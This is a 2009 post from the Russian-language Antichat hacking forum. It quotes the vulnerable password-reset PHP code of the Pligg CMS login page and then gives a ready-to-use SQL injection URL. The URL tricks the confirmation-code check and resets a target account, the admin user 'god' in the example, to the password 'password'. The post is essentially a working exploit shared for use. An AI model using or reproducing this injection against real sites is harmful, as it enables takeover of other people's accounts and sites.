Показать сообщение отдельно

  #5  
Старый 30.06.2009, 16:34
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию

User password reset to "password"

Спасибо Gifts за помощь

PHP код:
    if($_GET["processlogin"] == 4) { // if user clicks on the forgotten password confirmation code
        
$username trim($_GET['username']);
        if(
strlen($username) == 0){
            
$errorMsg $main_smarty->get_config_vars("PLIGG_Visual_Login_Forgot_Error");
        }
        else {
            
$confirmationcode $_GET["confirmationcode"];
            
$DBconf $db->get_var("SELECT `last_reset_code` FROM `" table_users "` where `user_login` = '".$username."'");
            if(
$DBconf){
                if(
$DBconf == $confirmationcode && !empty($confirmationcode)){
                    
$db->query('UPDATE `' table_users '` SET `last_reset_code` = "" WHERE `user_login` = "'.$username.'"');
                    
$db->query('UPDATE `' table_users '` SET `user_pass` = "033700e5a7759d0663e33b18d6ca0dc2b572c20031b575750" WHERE `user_login` = "'.$username.'"');
                    
$errorMsg $main_smarty->get_config_vars('PLIGG_Visual_Login_Forgot_PassReset'); 
exploit:
/login.php?processlogin=4&username=" or user_login = "god" /*' and 1=0 UNION select 123/*&confirmationcode=123
__________________
Появляюсь редко. Важные дела в реале.
 
Ответить с цитированием